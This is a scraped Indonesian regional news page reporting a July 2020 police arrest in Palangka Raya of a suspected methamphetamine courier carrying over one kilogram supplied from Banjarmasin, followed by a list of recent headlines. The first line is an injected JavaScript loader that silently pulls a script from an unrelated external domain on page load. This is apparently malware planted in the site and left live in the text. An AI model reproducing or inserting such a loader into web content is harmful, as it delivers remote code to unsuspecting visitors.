(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Tengah

Bang Kumis Dibekuk Bawa 1 Kg Sabu, Dipasok dari Banjarmasin


KANALKALIMANTAN.COM, PALANGKA RAYA – Direktorat Reserse Narkoba Polda Kalimantan Tengah menangkap seorang pria warga kota Palangka Raya yang diduga kurir sabu dengan barang bukti yang berhasil disita seberat 1 kilogram lebih.

Direktur Reserse Narkoba Polda Kalteng Kombes Bonny Djianto mengatakan, pelaku yang kini sudah ditetapkan sebagai tersangka kepemilikan sabu seberat 1 kilogram lebih itu bernama Bachtiar alias Bang Kumis (53) warga Jalan Danau Indah Gang 5B atau Jalan Tjilik Riwut Km 4 Kota Palangka Raya.

“Sabu seberat satu kilogram lebih itu dipecah menjadi 12 paket. Tersangka kami tangkap di kediamannya pada Minggu (5/7/2020) lalu, dan dari tangkapan tersebut sempat dikembangkan,” kata Bonny sebagaimana dilansir Antara, Jumat (24/7/2020).

Selain sabu 1 kilogram lebih itu, penyidik juga menyita barang bukti ponsel, plastik sabu dan alat timbangan digital untuk membagi-bagi sabu tersebut agar menjadi paket kecil siap edar

 

Baca juga: ‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!

Selanjutnya, dari hasil pemeriksaan penyidik tersangka dalam sekali pengiriman barang haram tersebut yang bersangkutan diberikan imbalan Rp15 juta dan sudah kerap kali beraksi.

“Bahkan pernah mengirim sabu-sabu sebanyak 1,2 kilogram lebih ke daerah Kalteng untuk kembali diedarkan ke sejumlah wilayah,” katanya.

Pelaku akan dijerat dengan Pasal 114 ayat 2 Pasal 112 ayat 2 Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika dengan ancaman hukuman seumur hidup atau mati dan denda Rp 1 miliar.

Baca juga: Akui Positif Corona, Wabup Kotawaringin Barat: Bukan Aib!

“Diketahui tersangka ini merupakan jaringan lintas provinsi. Sementara rencananya sabu sebanyak itu akan diedarkan di wilayah Kota Palangka Raya dan Kabupaten Gunung Mas,” ungkap Bonny.

Perwira Polri berpangkat melati tiga itu mengungkapkan barang haram tersebut dikirim dari kota Banjarmasin, Kalimantan Selatan.

Saat pemeriksaan, tersangka mengaku hanya menjadi kurir dan pengendalinya dilakukan seorang narapidana yang ada di Kalteng.

“Tersangka ini menggunakan jaringan terputus, narapidana yang menggunakan handphone itu untuk komunikasi ketika kami cari tidak ditemukan,” katanya. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

11 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

12 jam ago

This website uses cookies.